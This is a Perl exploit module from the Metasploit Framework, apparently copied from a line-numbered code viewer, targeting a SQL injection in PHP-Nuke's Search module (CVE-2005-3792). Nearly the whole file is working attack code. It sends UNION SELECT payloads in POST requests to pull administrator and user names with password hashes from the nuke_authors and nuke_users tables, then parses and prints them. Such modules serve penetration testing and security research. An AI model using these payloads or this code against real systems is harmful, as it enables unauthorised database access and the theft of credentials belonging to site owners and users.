| 1 |
|
|---|
| 2 |
## |
|---|
| 3 |
# This file is part of the Metasploit Framework and may be redistributed |
|---|
| 4 |
# according to the licenses defined in the Authors field below. In the |
|---|
| 5 |
# case of an unknown or missing license, this file defaults to the same |
|---|
| 6 |
# license as the core Framework (dual GPLv2 and Artistic). The latest |
|---|
| 7 |
# version of the Framework can always be obtained from metasploit.com. |
|---|
| 8 |
## |
|---|
| 9 |
|
|---|
| 10 |
package Msf::Exploit::phpnuke_search_module; |
|---|
| 11 |
use base "Msf::Exploit"; |
|---|
| 12 |
use strict; |
|---|
| 13 |
use Pex::Text; |
|---|
| 14 |
use bytes; |
|---|
| 15 |
|
|---|
| 16 |
my $advanced = { }; |
|---|
| 17 |
|
|---|
| 18 |
my $info = { |
|---|
| 19 |
'Name' => 'PHPNuke Search Module SQL Injection Vulnerability', |
|---|
| 20 |
'Version' => '$Rev$', |
|---|
| 21 |
'Authors' => [ 'Matteo Cantoni <goony@nothink.org>' ], |
|---|
| 22 |
'Arch' => [ ], |
|---|
| 23 |
'OS' => [ ], |
|---|
| 24 |
'Priv' => 0, |
|---|
| 25 |
'UserOpts' => |
|---|
| 26 |
{ |
|---|
| 27 |
'RHOST' => [1, 'ADDR', 'The target address'], |
|---|
| 28 |
'RPORT' => [1, 'PORT', 'The target port', 80], |
|---|
| 29 |
'VHOST' => [0, 'DATA', 'The virtual host name of the server'], |
|---|
| 30 |
'DIR' => [0, 'DATA', 'PHPNuke directory path', '/'], |
|---|
| 31 |
'SSL' => [0, 'BOOL', 'Use SSL'], |
|---|
| 32 |
}, |
|---|
| 33 |
|
|---|
| 34 |
'Description' => Pex::Text::Freeform(qq{ |
|---|
| 35 |
Multiple SQL injection vulnerabilities in the Search module in PHP-Nuke. |
|---|
| 36 |
Versions 7.5 - 7.8 are affected, older versions contain different code implementation |
|---|
| 37 |
and are not affected by bug. Newest version 7.9 is not vulnerable too. |
|---|
| 38 |
}), |
|---|
| 39 |
|
|---|
| 40 |
'Refs' => |
|---|
| 41 |
[ |
|---|
| 42 |
['OSVDB', '20866'], |
|---|
| 43 |
['BID', '15421'], |
|---|
| 44 |
['CVE', '2005-3792'], |
|---|
| 45 |
['URL', 'http://www.waraxe.us/advisory-46.html'], |
|---|
| 46 |
['MIL', '1523'], |
|---|
| 47 |
], |
|---|
| 48 |
|
|---|
| 49 |
'Keys' => ['phpnuke, nuke'], |
|---|
| 50 |
|
|---|
| 51 |
'DisclosureDate' => 'November 24 2005', |
|---|
| 52 |
}; |
|---|
| 53 |
|
|---|
| 54 |
sub new{ |
|---|
| 55 |
my $class = shift; |
|---|
| 56 |
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); |
|---|
| 57 |
return($self); |
|---|
| 58 |
} |
|---|
| 59 |
|
|---|
| 60 |
sub Exploit{ |
|---|
| 61 |
my $self = shift; |
|---|
| 62 |
my $target_host = $self->VHost; |
|---|
| 63 |
my $target_port = $self->GetVar('RPORT'); |
|---|
| 64 |
my $dir = $self->GetVar('DIR'); |
|---|
| 65 |
|
|---|
| 66 |
my $url = "http://$target_host$dir/modules.php?name=Search"; |
|---|
| 67 |
|
|---|
| 68 |
my %queries = ( |
|---|
| 69 |
'admin' => "query=foo%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*", |
|---|
| 70 |
'users' => "query=bar%') UNION ALL SELECT 1,2,username,user_password,5,6,7,8,9,10 FROM nuke_users/*" |
|---|
| 71 |
); |
|---|
| 72 |
|
|---|
| 73 |
$self->PrintLine("[*] Establishing a connection to the target..."); |
|---|
| 74 |
$self->PrintLine("[*] Try to retrieve admin and users accounts..."); |
|---|
| 75 |
|
|---|
| 76 |
my @queries = ("admin","users"); |
|---|
| 77 |
|
|---|
| 78 |
foreach my $query(@queries){ |
|---|
| 79 |
|
|---|
| 80 |
my $q = $queries{$query}; |
|---|
| 81 |
my $query_length = length($q); |
|---|
| 82 |
|
|---|
| 83 |
my $request_newpass = |
|---|
| 84 |
"POST $url HTTP/1.1\r\n". |
|---|
| 85 |
"Host: $target_host:$target_port\r\n". |
|---|
| 86 |
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n". |
|---|
| 87 |
"Connection: Close\r\n". |
|---|
| 88 |
"Content-Type: application/x-www-form-urlencoded\r\n". |
|---|
| 89 |
"Content-Length: $query_length\r\n\r\n". |
|---|
| 90 |
"$q\r\n". |
|---|
| 91 |
"\r\n"; |
|---|
| 92 |
|
|---|
| 93 |
my $s = Msf::Socket::Tcp->new( |
|---|
| 94 |
'PeerAddr' => $target_host, |
|---|
| 95 |
'PeerPort' => $target_port, |
|---|
| 96 |
'SSL' => $self->GetVar('SSL'), |
|---|
| 97 |
); |
|---|
| 98 |
|
|---|
| 99 |
if ($s->IsError){ |
|---|
| 100 |
$self->PrintLine('[*] Error creating socket: ' . $s->GetError); |
|---|
| 101 |
return; |
|---|
| 102 |
} |
|---|
| 103 |
|
|---|
| 104 |
$s->Send($request_newpass); |
|---|
| 105 |
|
|---|
| 106 |
my $results = $s->Recv(-1, 20); |
|---|
| 107 |
my @results = split(/<tr>/, $results); |
|---|
| 108 |
|
|---|
| 109 |
$s->Close(); |
|---|
| 110 |
|
|---|
| 111 |
if (grep(/^HTTP\/1.1 200 OK/, @results)){ |
|---|
| 112 |
|
|---|
| 113 |
$self->PrintLine(''); |
|---|
| 114 |
|
|---|
| 115 |
foreach my $row(@results){ |
|---|
| 116 |
if ($row =~ /username=/){ |
|---|
| 117 |
my (undef,$a) = split(/username=/, $row); |
|---|
| 118 |
my @hash = split(/">/, $a); |
|---|
| 119 |
$self->Print("$hash[0] "); |
|---|
| 120 |
} |
|---|
| 121 |
|
|---|
| 122 |
if ($row =~ /article&sid=/){ |
|---|
| 123 |
my (undef,$a) = split(/article&sid=1"><b>/, $row); |
|---|
| 124 |
my @hash = split(/<\/b>/, $a); |
|---|
| 125 |
$self->PrintLine("$hash[0]"); |
|---|
| 126 |
} |
|---|
| 127 |
} |
|---|
| 128 |
} else { |
|---|
| 129 |
$self->PrintLine("[*] I can't retrive $query info..."); |
|---|
| 130 |
} |
|---|
| 131 |
} |
|---|
| 132 |
|
|---|
| 133 |
return; |
|---|
| 134 |
} |
|---|
| 135 |
|
|---|
| 136 |
sub VHost{ |
|---|
| 137 |
my $self = shift; |
|---|
| 138 |
my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST'); |
|---|
| 139 |
return $name; |
|---|
| 140 |
} |
|---|
| 141 |
|
|---|
| 142 |
1; |
|---|